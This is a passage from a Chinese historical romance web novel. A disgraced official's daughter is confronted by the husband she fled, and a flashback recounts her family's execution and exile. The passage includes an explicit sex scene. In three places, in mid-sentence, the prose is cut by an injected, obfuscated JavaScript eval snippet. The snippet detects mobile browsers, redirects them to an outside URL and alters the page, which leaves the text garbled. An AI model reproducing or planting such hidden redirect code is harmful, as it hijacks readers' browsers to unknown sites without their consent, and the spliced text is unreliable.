谁料一时兴叹忘了看路,拐过亭子角,一个戏子打扮的小丫头直冲冲往她怀里撞来。 “夫人恕罪。” 小丫头一副泫然流涕的可怜相,却趁机塞了张纸条到她手心里。 一切不过电光石火,乐善愣了一下,还没来得及说什么,那小丫头已经一溜烟跑远了。 远处,陈府下人正向这边走来:“薛女史,马车套好了,这边请。” …… 第三是不该轻信小英。 乘马车回到小院,雇来的老妇正在院中晾晒衣物。乐善招呼了一声,进屋除下女官斓衫,换得一身轻便,这才展开了那张被她紧紧攥在手中,皱皱巴巴的纸条。 “明日午后戏班离京,今日戌时一刻,盼在东石桥前单独会见。小英顿首拜书。” 是林敷英的字迹,乐善以前见过,知道不假。 果然今日戏台之上她就已经认出了自己。不愧是小英,曾经会稽江家敷英班的台柱子——历来只有最当红的角儿,才有资格担此门楣。戏台子上尽管紧锣密鼓唱着大戏,她也轻松能够眼观六路耳听八方。 然而对于赴会,乐善还是有点犹疑不决。 “小姐,你晚上用饭吗?”老妇在院中问道。 被皇后提拔之后,乐善就在宫外赁了个便宜落脚的地方,虽然门庭又小又破,但也算开始崭新的生活了。不过,她不常回来住,只是雇了隔壁一个老妇,每日来浣衣、打扫,偶尔她在时,灶上也管她一顿饭。 “晚上有约,阿婆不必管我。” 乐善想了想,仍旧赴会去了。 东石桥就在建春门外一里,南北向的,附近西面有间道观,里边的静恕师太尤擅佛理,常有女眷去听她讲经,用过了晚斋才结伴着归家。 到东石桥,果然人声鼎沸。乐善特意换了身衣裳,扮作信教的士女,走在街上也毫不扎眼。 先前塞给她纸条的小丫头正站在一辆马车前,左右张望着,总算见到她了,喜不自禁地迎过来:“夫人,我家班主说,请上车一晤。” 马车里的人早得了提醒,轻轻打起一角帘子,露出一张又惊又喜的脸来。 乐善笑了笑:“小英,许久不见。” 马车内,林敷英紧紧牵住她的手,眼里既有喜悦,也不无哽咽:“我就知道白日里没有看错,少奶奶,他们都说你死了,连燕客少爷他也……” 乐善故意逗她,说:“是啊,你现在可是见了鬼了,就不害怕吗?” “少奶奶就会逗我。”林敷英不禁笑,说,“你的手心分明是温热的,怎么会是鬼呢?” 乐善静了一会儿,抽出手,说:“小英,日后别叫我少奶奶了。” 林敷英看着她,欲言又止。 乐善说:“三言两语不好解释,我今日来,一是为你践行,二是想跟你说,日后再见只当不认识我吧。” 就这样吧,乐善心想,强行给她塞了一些盘缠首饰,就要下车。 “好一个无情的人啊,小英,这回你亲耳听见,总肯相信了吧?” 说话间这人已打起帘子,不请自来,熟稔得仿佛在自家马车般悠闲——也说不准。乐善刚才满腹心事,只顾着和林敷英说话,这时觑见车内装潢,一应名贵器具都不说了,就连车壁上都尽铺着锦缎。除他之外,还有谁这么大手笔? “怎么这副神情,很意外会是我?” 江萼撑着车顶,微微弯着腰向车内,颀长的身形挡住了外面的日光。 “小英,你也学坏了。” 不想搭他的腔,乐善硬生生站住了脚,侧目看林敷英,带着一点不可置信的神气,“以前你从不说谎,今日居然和他一起诓我?” 果然林敷英心虚气短,忙低下了头。 “小英,你说奇不奇怪,有一些人,是人是鬼尚且说不清楚,居然振振有词责怪旁人。” 他阴阳怪气起来,即使顶着一张漂亮脸蛋,也够讨人厌的。 “哦,是江大人啊?”乐善稍稍缓过神来,刻意摆起女官架子,目不斜视,“光天化日男女同车,委实有伤教化,江大人请借位,让一让。” 当然,他没让。 她抬眼瞪他,他坦然回视。 乐善口不择言:“堂堂天子协律都尉,世人口中骄矜自贵的探花郎,居然是个拦街无赖,看我不告到御史台参你一本。” 不知怎的,江萼听到这句,忽然就笑了一下。 哦,他还不忘说:“恭候。” “少爷,你们慢慢谈。”林敷英最先受不了这气氛,矮身一蹿就出去了。 乐善见机也想溜,身子刚动,就被他一把捉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762933|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了。 “别急嘛,咱们先叙叙旧。” 江萼好脾气的笑了,但乐善看在眼中,总觉得他笑容里有点秋后算账的意思,她很不争气地在心里哆嗦了一下。 然而硬着头皮,她镇定说:“我和江大人素昧平生,何来交情,更有什么话好值得叙旧?” “薛女史,我是该这样称呼你,还是…夫人?” 这里他似乎真有点生气了。 乐善还不察觉,撇过头,匆匆回避了他的目光。 “江夫人不是早已亡故了吗?” 她佯作大惊小怪,然后恳切地说节哀,“江大人,你我萍水相逢,何苦咒我,我还想多活几年呢。” “素昧平生,萍水相逢,薛好,你竟敢撇得这样干净?”江萼离奇愤怒,气笑了,“可我不这样认为。” 被他桎梏着,她努力想抽开手,无奈江萼攥得愈发的紧,压根不放。两人各自都憋着一股心气,谁也不甘相让。 突然,江萼陈述说:“河西薛氏,百年史官世家,八年前却因为一桩修史案,上百条人命断送法场,听说活下来的寥寥无几,还给尽数流放了房陵。” 乐善很冷淡,说:“罪女的身世,就不劳江大人指教了。” 江萼瞥她一眼,继续说:“我妻子杨氏的娘家就在南郡,她自幼父母早亡,便随外祖母在襄阳长住,老人去世之后,因身体的缘故不受娘舅待见,不得已迁到道观养病。也是奇怪,那处道观,距离房陵不过十余里而已。” 乐善佯作惋惜,说:“尊夫人是可怜人,但与我有什么干系?” 江萼轻轻一哂,说:“房陵流放之地,此去不过千里,派人快马加鞭,七八日也能到了。你既问心无愧,总不怕翻查五六年前的旧账吧?” 流放人员亦有监军管制、记录,一个人真实生活过的印记,自然不可能无迹可寻。 “我早说了,我不是你的妻子。”乐善却真不怕,“你想要查,尽管去查。” “你和我妻子长得太像。”江萼凝视着她,黯然的眸光闪动,“我不信世间会有这样的巧合。” 能教出林敷英那样的名角儿,他装模作样起来,哪怕明知有做戏的成分,乐善也根本无处招架。 她努力抬起头看了他一眼,放缓了语气:“说了不是,你怎样才肯信我?” 本来被他盯得理亏发虚,结果这人下一句话就十足的气人。 “好啊,我妻子大腿间有一块蝴蝶样的胎记,倘若你真不是,总好叫我亲自验明了,死心了才好。” “登徒浪子!”乐善不禁横眉冷对。 “少装了。”江萼终于松开了手,往主位上一靠,也懒得和她一唱一和了,“刚才你叫了小英,早露馅了。” 乐善充耳不闻,他手劲一松,立刻抽开手转身就走。谁知这时马车却动了起来,一个重心不稳,她向后仰,反倒扎进他的怀里。 “夫人,何必心急投怀送抱啊?”江萼谑笑。 乐善弹簧似的跳起来,只管闷头往前。 江萼也不拦,只在后面好心提醒:“你要想多活几年,最好别想什么跳车的主意。” 跳下去,轻则断胳膊断腿,倘若背运,真就给他落实了亡妻的名分,乐善一怒之下忍了再忍,最后能屈能伸,走过去和他对面而坐。 “夫人肯跟我叙旧了?” 乐善硬邦邦说:“好好说话,谁承认是你夫人了?” 江萼从善如流地笑:“好,薛女史请恕罪。” 5. 第 5 章 05 马车轻轻的颠簸着,不知去往何处。乐善和他两相对坐,大眼瞪小眼,说着要叙旧,但他又不着急开口了。 是乐善先坐不住,问:“你要带我去哪儿?” “你怕什么?平生不做亏心事,夜半不怕鬼敲门。”江萼慢吞吞说完这一句,显然意有所指。 乐善只当听不懂,哼了一声,说:“我是朝廷命官,只有别人怕我的份,哪有我怕别人的道理。” 这话倒也没错,人人怕她秉笔直书,见了都恨不得绕路走。 江萼瞥她一眼,明知故问:“哦,没做亏心事,那你坐那么远干什么?” 坐这么远,不是防着你吗? 乐善几乎是咬牙切齿的,说:“堂堂探花郎,雒阳众口交赞的端方君子,何必这样的小心眼,还拿话奚落人。” 江萼今日说话也呛人,寸步不让:“你认识我也不是一日两日了,才知道我心眼小啊?” 说话间马车又行出长长一段路,然后停下。 “好了,到了。”江萼说。 实话说乐善心里有点打鼓,真怕他临时起意报复,照她的无情,把她丢在荒山野岭喂狼都是他大发善心了,结果打起帘子一望,眼前居然是她的破落小院。 乐善站在门前还直发愣。 她算是知道了,这人早盯上了自己。 江萼跟着也下了车,目光只管逡巡着。 乐善赁这间小院时也有自己一番考量,别的还在其次,主要是便宜,所以比不得永和里的热闹繁华,这里比邻而居的都是平头百姓。院上的屋瓦长满了杂草不说,门前也破敝,连漆都掉光了。 江萼衣着光鲜,站在这里简直格格不入。 他风度翩翩,问:“到门上了,薛女史不招待客人喝一杯茶吗?” 饮茶是雅事,也是士家待客之道。然而乐善一没这份闲适,二没客人光顾,家里虽有器具,终日也藏在柜中,没有得见天日的机会。 江萼就不一样了,他平生饮茶最讲究不过,茶具首先要好,荆溪壶、成宣窑的瓷瓯必是推崇备至的,其次,要新泉活水,隔了夜的入口就涩,先就要不得了,除此之外,制法不同、制艺者不同,端出来的茶也各有其风味。 到喝这步,又是另外一番功夫了:观茶色、闻茶香、品茶味……像他精于此道,茶汤只在鼻下一嗅,顷刻就知道是今年的新茶还是陈年老茶。 挑剔如他,果然喝不惯乐善泡的茶,索性竟自己起了当炉煮茶。 在从前也是这样的,乐善一时有些失了神。 他其实有亲自教过她,一向潇洒,万事不过心的风流公子也难得有了耐性,谆谆善诱。可惜那时的她神不宁心不静,学的自然马虎,而今三年过去,更是早忘在脑后了。 眼下这和睦场面说来也离奇诡异,是乐善从不曾作想过的——有朝一日竟然还能和他围炉团坐,一块喝茶。 然而,旧日子轰轰的从眼皮底下溜走了,不会再回来了,那些光景在她更是只当作梦了一场。梦里面,她滑稽地扮演着另外一个陌生女子,盲婚哑嫁,和他吵过也闹过,但都无伤大雅……他是一件她可以抱上床的玩偶。 梦终究是要醒的,醒来她还是河西薛家最小的那个女儿。 反正,不该是他的妻子。 “你就当我死了不好吗?”乐善很心平气和地说,就像在说家常一样,再平淡不过。 “那我真是活见鬼了。” 一句笑谑回话,江萼连眼皮都没抬一下。 乐善自觉在说真心话:“为你以后续娶的妻子,你也别总让人以为你还惦记着亡妻,叫人家心里不好受。” 江萼诧异地看她一眼,说:“我可没你有闲心,为一个子虚乌有的人着想。” “我没开玩笑,说真的,好歹你还是个探花郎呢,有这样的相貌才气,雒阳那么多好人家的小姐,你何愁无妻啊。” 江萼更懒得理她了,自顾半侧过身去喝茶。 看他不搭理,乐善就有点不依不饶了,追过去说:“都说娶妻是人生一件大事,别人都力争上游,巴不得娶个高门贵女回家相夫教子,就算在朝中,那也有岳丈好倚靠,你怎么想不通呢?” 江萼把茶碗搁下,忍了:“你别说话了,让我安生喝完这茶。” 乐善不干,偏还说,生怕气不死他。 “我知道你眼光高,又有些痴癖在,但是别人当面夸你,那是看在你是天子近臣的面上,背地里指不定怎么笑话你,一个男人对亡妻念念不忘,能有什么出息。” 江萼冷笑说是啊:“你始乱终弃,你最有出息。” “谁始乱终弃了…” 乐善艰难地反驳着,突然却反应过来,愤懑不已:“好啊,果然你就是成心的,恨不得满雒阳都知道你惦记着亡妻。” “是,我就是成心的。”江萼朝她笑,就这么坦荡地说出来了。要在以前,乐善准要先笑他变脸比翻书还快。 然而此刻被他带笑的眼睛一看,她莫名有点心慌,只管嘴硬:“这对你有什么好处?” 江萼真就想了一想,认真说:“好处不少,尤其是,好叫那个忘情负义的狠心人日日难以安眠。” 含沙射影谁呢。 她就知道,男人有时候心眼比女人还小,还为她当年死遁不告而别耿耿于怀。 对此,乐善并无太多歉疚,反而极力撇清:“你别忘记了,当年你我击掌为誓,说好我们只是扮演一对假夫妻,是逢场作戏给别人看的!” “只是逢场作戏?” 乐善斩钉截铁,说当然了。 江萼拍手称奇,说真想不到:“还是京都士女风气豪放,至少在我们那儿,没有人会跟一个逢场作戏的人上床。” “你!” 乐善气急败坏,腾地站了起来。 要说就该他是探花郎呢,果然脑筋转得也快,立刻就抱着虚心请教的态度入乡随俗了。 “既然如此,也不知薛女史答不答应跟我这个素昧平生、萍水相逢的男人上床呢?” …… 他的吻最先落下来。 和他始终平静的语气不同,这吻来势汹汹,粗暴且带着不容抗拒,像清凌凌的水面下暗藏汹涌,乐善节节败退,被他逼上台阶。 背抵上房门的时候,她知道已无路可退。身后的门没栓,轻轻一推就开,但他这下动作又不紧不慢了,只管把她堵在门前,圈着囚着,时而轻又时而重的吻,像一只心慵意懒的狸猫正戏耍着濒死的猎物——他享受这刻她露出的困窘的神气。 “这还是在院中…”乐善呼吸急促,双手紧紧抵在他的身前。 他听而不闻,眼眸微垂,轻啜她的嘴唇。 男人再漂亮,力气也在那里,绝不是女人可以撼动的。乐善推也推不开,逃也逃不掉,百般无法,只好拽住他的衣襟,向后一跌,双双撞入门内。 此举无异于邀请。 江萼反手闭门,低头吻她更深。 灼热的亲吻,滚烫的呼吸,侵略性的掠夺者,鞋不知几时就掉了,身上衣衫不整乱堆,耳珰掉在地上发出清脆的响声。 她的手不觉环上他的脖子,一步一退,不堪抵抗,然后磕到了什么,跟着他天旋地转堕进无尽深渊。 波涛扑面拍向了她,一浪又一浪,乐善情不可抑地向后仰,脚趾尽力蜷缩,随他颤抖,战栗,搐动,朱唇空自一张一合,溃不成声,浑身酸软得仿佛已化作了一滩水,静静的在那儿淌着。 一番鏖战,窗外夜色已深。 乐善半撑起靠在床头,低头看他。 自己早已不着寸缕,这人反倒齐整,褒衣博带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762934|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秀骨清相,竟标致得像古庙里供奉的一尊袒胸跪佛——只有襟带被她稍抓乱了些,害佛也染了贪,有了念,从莲花座上走下来,走到她跟前。 …… 江萼半跪在她两腿之间,拇指指腹抚过她大腿内侧,温热又带点粗涩的触感,引她浑身一震,心底又升起一股异样的毛躁。 乐善忍不住踢他一脚:“别动手动脚。” 江萼没说话,顺势挟住她的脚,然后拦腰轻轻一带。 乐善力有不逮,立刻被他拖了去,大腿夸张地被打开了,春光尽泄。她羞赧不已,然而他又再无接下来的动作,指腹只是摩挲着她腿间的胎记。 那是块团样的红斑,拇指大小,随她出生就有,她自认作展翅的蝴蝶图样,并为此洋洋得意。 傅母怕她乱说了出去,给人坏了名声,小时候专吓唬她,说只有地里面的毛虫破了茧,才能成蝶。 得知自己是虫子,她嫌弃得不行,小小的一个,居然也能绝口不提,后来成了和他的床笫之私,更讳莫如深了。 想起他先前的放肆言论,乐善忍不住要说怪话了:“江大人真要验身啊?” 江萼只是笑,说:“是啊,怕你以后变脸不认账。” 乐善哼了一声,强逞口舌:“不认账你又能拿我怎样?” 江萼不答,手上却不怜惜,在她大腿根处狠狠捏了一下,然后低头溯流而上。 乐善轻咬住下唇,双腿发颤,手指不觉插进了他的发髻中,不堪他轻轻的一舐。 到后半夜她已有些倦赖了,歪歪靠着他,任他摆弄着。薄汗浸湿了她的鬓发,干涸了仍贴在脑门上,有种湿腻的感觉。 乐善感觉到他轻抚了抚她的脸,随后起了身,没一会儿又回来了。 “擦洗过再睡。”他说。 他把她从床上拽起来,轻柔地拿热帕子替她擦洗身子。帕子温热地擦过肌肤,余下微凉的湿意,稍稍打消她的困怠。 看着灯下他的侧影,乐善不知怎么,突然就硬起了心肠,旧话重提:“我之前说的是真心话,你别不放心上。” “气人的话不必再讲。”他仍是不在意的神气,放下帕子,大手伸过来揽上她的腰,但只是把她抱在怀里。 乐善推开他,径自坐直了看他:“那你说,我们现在这样算什么?” “你不是我的妻子吗?”他故意纳闷。 “你明媒正娶的妻子是弘农杨氏的小姐,那不是我。” 餍足的男人异常大度,并不为这三言两语动怒:“拜天地,入洞房的都是你,我只认你,你否认也没有用。” 乐善在心底轻轻叹了口气。 “是我骗了你,那都不是真的。” “少来,你把我当傻子了不成。”他说,“如果你和我那些切实的相处都不是真的,还有什么是真的?” “你就不怪我骗你吗?” 江萼摇了摇头,苦涩一笑:“我只怪自己没早一点猜出你的身份。” 男人在床上真是什么情话都肯说,乐善微微一笑,说:“你当初连杨小姐都不肯娶,难道真肯娶我一个苟且偷生的死刑犯?” 江萼没说话,知道她很难相信。就是他自己回到当初,听到这句话想必也会嗤之以鼻。但他确实是无数次想过,懊悔过,恨不能在她最难过痛苦的时候向她伸出手。 乐善同样默然不语,神思已远。 她多么希望自己这八年以来,所有都是幻境——一场大汗淋漓的噩梦,醒来她还在旧家宅院里,依傍在母亲的怀里,稚气未脱的一张脸上还有着对未来的无限憧憬。 然而一切遥想,都被一场突如其来的祸事掐灭了,此后活着就犹如世人眼中丧家之犬,失魂落魄,皇皇如也。 …… 她本应该死在她十六岁生辰的那个冬日。 6. 薛家被下狱的…… 06 薛家被下狱的那天,距离乐善十六岁的生辰还有十几日。乐善早在半年前就软磨硬泡,非要父亲送她一匹小马驹作为生辰礼物,六堂姐薛慈为此还笑话她,说:“你又不敢骑,养在马厩里也是浪费了。” 乐善不甘示弱回嘴,说:“有人牵马,我就敢骑。” “你脾气这么大,小霸王一个,谁愿意给你牵马?也只好等你日后嫁了人,使唤你的夫君去。” 乐善年纪小,还不知脸皮薄厚,当即说:“好啊,谁肯给我牵一辈子马,我就嫁给谁。” 长辈们听了都笑个不停,只有薛慈恨铁不成钢,嫌弃说:“嗳,你就不能有点出息吗?” “那应该嫁谁嘛?” “要嫁当然得嫁一位彬彬有礼、博闻多识的君子了…” 薛慈当时一定心有期许,然而她最后也没能等到嫁给她心目中的君子,薛家就卷入了修史案中,满门下狱问罪。 “凡十四岁以上男丁皆处死,十六岁以上女眷赐自缢。即刻处刑。” 中常侍手持诏书监刑,十来个狱卒涌进女狱,从外面头一间到靠尾的那一间,只要在名册上,都被他们毫不留情推搡着赶了出去。 阴暗潮湿的狱中尽是女眷们压抑的哭声,乐善哭得撕心裂肺,死死抓住母亲的手不放,却被狱卒无情推倒在地,她匍匐着,努力抬高头,只看得见母亲挣扎回望的脸上已是涕泗横流,那嘴一张一合说着什么话,她却再也不会知道了。 最后一个出去的,是薛慈。 她表情坚毅,拒绝狱卒触碰,仰首挺胸地走了出去。乐善扑过去死抱住她,徒劳地哭求着:“六姐,别丢下我一个,让我跟着一起死了吧…” 薛慈一把推开她,抬手就要扇她一巴掌,最后却极轻地落下,安抚般摸上她的脸颊:“小妹,你是家里现在唯一的大人了,你必须活着。” 从小乐善就不求长进,家里长辈对她别无寄望,听之任之,只有这位六堂姐心气高,看不惯时总要教训她,这次生平第一次用温柔的语气和她说话。 “不要任性,宛儿、徽儿年纪都小,日后还要你多照看。有机会要教他们识文断字,记住,祖宗家业不可以断。” 宛儿、徽儿是她的一对侄子女,女孩儿大些,也才刚十岁,就收监在隔壁狱房。 “我不行的…” “你一定可以,因为父兄所修国史,我们这一辈中只有你一个过目不忘,我承认以前对你不好是有点嫉妒你。” “不是的…” “薛好,你再啰嗦,我做鬼也不会放过你。”薛慈变了脸,说完就走,只留给她一个孤傲的背影。 把人都清点了出去,牢狱里面反倒空落落了,徒有阴风呼啸,仔细听,中常侍尖细的嗓音在风声中若隐若现:“请上路吧…” 乐善呆呆坐着,只觉喉咙里干嚷嚷的,空有悲痛却不成调,仿佛鬼哭狼嚎。原来痛入骨髓是这样一种感觉,人反而麻木了,竟会连哭也艰难。 …… 乐善他们从雒阳开始被流徙,路上监军苛待,一群人衣不蔽体,食不果腹,单靠一双脚跋涉千里,终于到房陵时,雒阳的牡丹已经开过两遍了。 当初启程,队伍内尚有百余人,都是嘉平余党遗少,一路上过去,死的死,病的病,最后幸存的只有十余个而已。 薛徽自然也没能幸免,他还不足五岁,抄家那日受了不小的惊吓,还在牢里就发起高烧,呻吟不止,这日出了雒阳十一里亭,路旁逢有喜事敲锣打鼓,立刻叫他惊厥而亡。 乐善牵着薛宛,含泪将他就地掩埋。 薛宛突然问:“姑姑,会不会有一日我也会这样死去?” 乐善矮身紧紧抱住她,说:“不会的,姑姑绝不让你死。” “可是死亡也不是姑姑能做主的啊。” 在她这个年纪,乐善成日只会招猫逗狗,或在私塾里捉弄夫子,或讨六姐的嫌,但小小的宛儿,已经懂得死亡为何物,并且安慰她说:“就算宛儿死了,姑姑也不要自责,不是姑姑的错。” 乐善没应声,只是更加握紧了她的小手。 此去房陵艰险,但苦熬过第一个冬日,天气暖和了,前路也就有了盼头。 乐善小时爱折腾,上房揭瓦也常不在话下,因此身体养得健实,路上虽然依旧受罪,好歹给硬捱了过去。 薛宛就惨了,一路多半都在生病,幸而队伍中有出身杏林之家的,通晓医术,识得草药……总算抢回她一条命,然而好了也已是元气大伤。 这么一群被放逐者——年纪最大的也就乐善了,年纪小的还尚在襁褓,彼此看顾,彼此照料,居然奇迹般的存活下来,并在第二年的春末到达了房陵。 房陵自古就是流放之地,乐善原以为荒僻凶险,少有人烟,结果房陵竟有乡县规制,当地除了土著定居,西边因有一条狭道通川,往来不少客商落脚,客栈、茶坊陆续也开了起来,带来一些人气。 这些热闹毕竟和他们无关,他们被统一安置在房陵县外一座破落的村寨里面,当地称为“孽村”,比邻都是罪臣后裔,依律终身不得离开此地,否则当诛。 此外,还需自力更生,往往男丁采石、女眷浣衣,乐善姑侄两个先还能依靠浣衣过活,但一入了冬,薛宛旧病加重,不免缠绵病榻,时好时坏,饶是乐善日夜浣衣把手都冻伤了,给她看病抓药的钱也始终凑不够。 她不得不另想别的法子。 好在房陵附近多山林,在杏林家刘小姐的口述之中,乐善浣衣之余,进山采摘珍稀药材,卖给县里的药铺换钱。 这日她照常采了些药去县上卖,药铺伙计欺她是罪女,总是一再压价。正僵持着,一个穿着绫罗绸缎的丫鬟突然走进来,张口就说:“店家,你们这儿有多少紫参,我全要了。” 小小房陵县,突然出现一副陌生面孔,打扮鲜丽,且自带一股威风,不须想也知道,必是贵人无疑,药铺伙计忙丢下乐善,前去招待。 可惜紫参长在深山里,小乡县的药铺存量根本不够,那丫鬟都买了,出去时仍面带焦虑。 乐善看在眼里,又记下刚才卖出的单价,心里还盘算着,脚底下却没丝毫迟疑,立刻就追了上去,叫声且慢。 “小姐倘若长久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762935|174462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要这一味药材,我可以日日采来送到贵府上。” 药铺伙计跟了出来,见她公然抢生意,勃然大怒,说:“此人是罪臣之女,向来奸滑可恶,小姐莫听信她的。” 药铺外面停着一辆富丽华贵的轿子,本来要越过乐善径直走了的,听到这话,轿子里的人叫了停。那小姐在轿子里没露面,只问:“你姓什么?” 乐善揖手为礼,说:“我姓薛,家父是前国子监祭酒薛翙。” “小姐,她是河西薛家的。”跟着的那丫鬟见识也广博,立即就道。 “原来是薛家。”那小姐沉吟后说,“薛小姐,我暂居百衲山上水晶观,距此来回三十余里,每日三餐需用十六钱紫参,你若不嫌跋涉辛苦,此后我便按市价要你的药,可好?” 乐善大喜过望,连忙答应下来。 事后乐善才知道,这位小姐原来姓杨,单名一个娥字,出身弘农杨氏,因父母早亡,身子骨孱弱,外祖家格外的怜惜,怕她一个没爹没娘的孩子在杨家会受到伯婶姊妹刁难,自小便接到了襄阳,二老亲自抚养。 只是好景不长,前些年她外祖、外祖母相继去世,三个娘舅虽肯供她衣食住行,却嫌她身上会过了病气,总是你推我诿。杨娥寄宿不能,索性带着丫鬟、几个家僮前来百衲山求医。 百衲山在房陵县往东的方向,约十余里,据说山上有一座水晶观,观中的道姑擅治女病,杨娥住下不久,经那道姑开药调理,果然气血调和,精神大异。 唯独一点不好,房陵毕竟不如襄阳繁盛,那女道长开药,用量向来大胆,附近几里的药铺常常供不应求,这日杨家的丫鬟寻遍了药铺,急求紫参,实属无奈之举——总不能叫她小姐断了药。 和杨娥约定好了价钱,乐善之后便风雨无阻,跋山涉水为她送药。 春夏有一阵多雷雨,有日她被骤雨绊在路上,根本没法行路,但怕耽误杨娥服药,便把紫参贴身藏好,披风戴雨,硬是在天黑前赶到了水晶观。 把紫参拿出来看,还好一路护得严实,没被雨水打湿,乐善松了口气,亲自交到丫鬟红夫手上:“今日统共七文钱,多谢。” 红夫目瞪口呆,一边接过,一边回头大叫:“小姐,你神机妙算,她果真来了。” 原来主仆二人正打赌呢,红夫说:“今日暴雨骤降,路上泥泞难行,往常这个点她早来了,现在还没到,小姐,她多半不会来了。” 杨娥却说:“你等着吧,也许晚一会儿,但她今日准会来的。” “小姐,你为什么笃信啊?” “我听说薛家就是因为秉笔直书惹怒陛下,本来他们改掉‘秦王篡位’四个字就好了,谁知死到临头还一字不改,这般志气,他们家的小姐又怎会轻易食言呢?” 作了别人茶余饭后的谈资,乐善并不怎么生气,她只着急告辞回去,尽管已把薛宛托付给了村里老妇帮忙照看。 杨娥说且慢,叫红夫备了一桶热水。 她坐在窗畔里,同乐善笑:“你浑身都打湿完了,你还没发现吧?回去一定着凉,先去洗个热水澡,换身干净衣服再走也不迟。” 7. 第 7 章 07 乐善浑身浸泡在热水里,任水没过胸口,带来一种窒息般的温暖,很快,暖意就从心向四周蔓延,冻了一路的手和脚也都有了知觉,逐渐舒展开来。 她长长吁出一口气,太久没有这样痛快地泡一次澡了。平常就她和薛宛住,不嫌挑水麻烦,也怕太费柴火,而在这之前,薛家虽是清流门第,这样的杂事也自有仆妇操持,是不兴小姐费心的。 水暖洋洋的包裹着她,仿佛荡漾在湖中央,整个人都轻飘飘的了。乐善情不自禁闭上眼,就要睡过去,还是红夫在外面提醒了一句。 杨娥做事妥帖,早叫红夫给她准备了衣裳,还说:“是我前年为元宵节做的新衣,后来人病了一场,没赶上穿,衣服还是崭新的,一直压箱底里。薛小姐,我看你我身量相同,应该能穿得上。” 乐善谢过,穿出来给她们看,也许是许久没穿新衣了,穿在身上就仿佛一具金刚罩,直叫她束手束脚。 “果然人要衣装,薛小姐真是好标致的一个人物。”杨娥点头,对她赞不绝口,又看了会儿,说:“就是瘦了些,再把衣服撑起来一点就好了。” 红夫不免要搭腔了,说:“小姐你还说别人呢,你也得多吃胖些,养好气色,不然后年穿上嫁衣,衣服里面空空荡荡,多不好看啊。” 杨娥脸上红晕飞过,笑啐:“好端端提什么嫁衣,真是哪壶不开提哪壶,看我不打你。” 乐善是第一次听说,红夫闷在水晶观里没个人说话,见她果然好奇,说话跟倒豆子似的,一股脑全交代了。 原来杨娥自幼便和会稽江氏定有婚约,前些年,杨家大伯亲自去了一趟江南,替她相看了江家的六郎,江藻。 说起这位江家六郎,红夫得意得很,说:“未来姑爷厉害着呢,今年过年江家还来信说,他去年秋闱已中了举人,说不定今年就中进士,当状元,入朝做了官老爷。” 杨娥说:“当状元哪有你说的这般容易,薛小姐学养深厚,别叫她看笑话了。” 乐善笑了,恭维说:“红夫姐姐有一句话总归不会说错,说不定啊,小姐今年就是进士夫人了,我先向进士夫人贺喜。”说着,真要作揖拜下去。 “有一个红夫就够头疼的了,薛小姐,你快别同她一块闹我了。”杨娥无奈地笑。 笑着闹了一阵,红夫突然说:“薛小姐,你以前也是大家闺秀,想必也有未婚夫吧。” 这才真是哪壶不开提哪壶,乐善心想。 “红夫,快快住嘴。” 还是杨娥反应过来,怕触及她伤心,立刻出声制止,然后愧疚说,“这丫头说话向来没心眼,你别跟她一般见识。” 乐善含笑摇头,表示自己并不介意,又说:“我还没到说亲的年纪,家里就出了那样的事情,别说未婚夫是没影儿的事,就有,世上雪中送炭太难,多半也会跟我撇清关系的。” “哼,那他就不值得。”红夫说。 杨娥为宽她怀,说:“我相信总会有雪中送炭的人,薛小姐切莫太灰心了。” 乐善笑了,她当然相信。 雪中送炭虽少,终归是有的,就像乐善有次送药,无意听见杨家的家僮在对话闲聊。 一个说:“近日小姐身体大有进益,吃的更多些了。”另一个说:“那当然了,那女道长日日给小姐号脉,药方更是七日一换,只怕不见效呢。” 紫参已对杨娥失去效用,新药方里自然没有。 乐善一直等着她们开口叫停,杨娥却从来没提过,依旧是她采了多少的紫参,她便收多少——显然有意搭一把手。 自年初起,乐善每日给杨娥送药,多数有七八文的进账,日子眼见着要好起来了,薛宛的身子却一日比一日羸瘦,墙隅药炉的火彻夜不熄,整间屋子都充斥着浓厚的苦药味。 乐善执意请遍了房陵的大夫,就连水晶观里杜门不出的女道长也受杨娥所托亲自走了一趟。 来者无不摇头,对她说:“不济事了。” 她只觉耳中嗡嗡作响,不敢深解其意。回头看,今年本该满十三岁的宛儿,枯瘦如柴地蜷缩在茅草屋的陋床上,一张小脸烧得通红,呼吸轻的,几不可闻。她有负六姐的嘱托,她痛悔不已。 大多时候薛宛很乖,阖着眼皮昏昏沉睡,乐善托了隔壁老妇照看,自己则是起早贪黑地奔劳不停,为她延医问药。期间红夫来过一次,带来杨娥的关怀,走时留下一袋银钱。 